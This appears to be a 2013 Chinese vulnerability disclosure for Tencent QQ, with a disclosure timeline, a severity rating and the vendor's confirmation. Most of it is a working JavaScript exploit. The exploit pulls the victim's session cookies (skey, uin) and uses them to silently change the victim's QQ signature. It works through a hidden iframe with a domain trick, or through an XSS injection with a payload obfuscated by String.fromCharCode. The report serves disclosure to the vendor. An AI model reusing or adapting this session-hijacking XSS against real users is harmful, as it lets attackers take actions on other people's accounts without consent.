2013-06-26: 细节已通知厂商并且等待厂商处理中 2013-06-26: 厂商已经确认,细节仅向厂商公开 2013-07-06: 细节向核心白帽子及相关领域专家公开 2013-07-16: 细节向普通白帽子公开 2013-07-26: 细节向实习白帽子公开 2013-08-10: 细节向公众公开
访问过腾讯的相关业务,然后浏览就可以修改别人的QQ签名了
function change_sign(){ var skey=document.cookie.match(/skey=(@\w+)/)[1], uin=parseInt(document.cookie.match(/uin=o(\d+)/)[1],10); new Image().src='http://data.soso.com/bingo/72/ChangeLn.php?uin='+uin+'&skey='+skey+'&ln=这里是签名内容'; } window.onload=function(){ if(!window.ActiveXObject){ document.domain="com"; var iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.onload = function(){ with(this.contentWindow){ eval('!'+change_sign+'()'); } }; iframe.src = 'http://face.qq.com/ajax.proxy.html?domain=com'; document.body.appendChild(iframe); }else{ var iframe = document.createElement('iframe'); iframe.style.display = 'none'; iframe.src = 'http://game.wang.qq.com/game.html#?areaId="></object><script/defer>eval(String.fromCharCode(115,107,101,121,61,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,46,109,97,116,99,104,40,47,115,107,101,121,61,40,64,92,119,43,41,47,41,91,49,93,44,117,105,110,61,112,97,114,115,101,73,110,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,46,109,97,116,99,104,40,47,117,105,110,61,111,40,92,100,43,41,47,41,91,49,93,44,49,48,41,59,110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,39,104,116,116,112,58,47,47,100,97,116,97,46,115,111,115,111,46,99,111,109,47,98,105,110,103,111,47,55,50,47,67,104,97,110,103,101,76,110,46,112,104,112,63,117,105,110,61,39,43,117,105,110,43,39,38,115,107,101,121,61,39,43,115,107,101,121,43,39,38,108,110,61,37,69,55,37,56,56,37,66,49,37,69,55,37,57,70,37,65,53,37,69,52,37,66,57,37,56,69,37,69,70,37,66,67,37,56,67,37,69,55,37,56,56,37,66,49,80,75,65,86,37,69,70,37,66,67,37,56,49,39,59))<\/script>'; document.body.appendChild(iframe); }}
这个自己打开试试就知道了,前提是登录浏览过腾讯业务,测试很简单的
危害等级:中
漏洞Rank:5
确认时间:2013-06-26 18:26
非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。
暂无